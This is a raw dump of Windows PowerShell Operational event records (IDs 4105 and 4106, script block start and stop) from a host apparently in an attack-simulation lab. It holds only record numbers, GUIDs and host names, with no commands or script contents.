410515102150x0668526Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668525Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668524Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668523Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668522Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668521Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668520Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668519Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668518Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668517Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668516Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668515Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668514Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668513Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668512Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668511Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668510Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668509Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668508Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668507Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668506Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668505Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668504Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668503Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668502Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668501Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668500Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668499Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668498Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668497Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668496Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668495Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668494Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668493Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668492Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668491Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668490Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668489Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668488Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668487Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668486Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668485Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668484Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668483Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668482Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668481Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668480Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668479Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668478Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668477Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668476Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668475Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668474Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668473Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668472Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668471Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668470Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668469Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668468Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668467Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668466Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668465Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668464Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668463Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668462Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668461Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668460Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668459Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668458Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668457Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668456Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668455Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668454Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668453Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668452Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668451Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668450Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668449Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668448Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668447Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668446Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668445Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668444Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668443Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668442Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668441Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668440Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668439Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668438Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668437Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668436Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668435Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668434Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668433Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668432Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668431Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668430Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668429Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668428Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668427Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668426Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668425Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668424Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668423Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668422Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668421Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668420Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668419Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668418Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668417Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668416Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668415Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668414Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668413Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668412Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668411Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668410Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668409Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668408Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668407Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668406Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668405Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668404Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668403Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668402Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668401Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668400Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668399Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668398Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668397Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668396Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668395Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668394Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668393Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668392Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668391Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668390Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668389Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668388Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668387Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668386Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668385Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668384Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668383Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668382Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668381Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668380Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668379Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668378Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668377Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668376Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668375Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668374Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668373Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668372Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668371Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668370Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668369Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668368Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668367Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668366Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668365Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668364Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 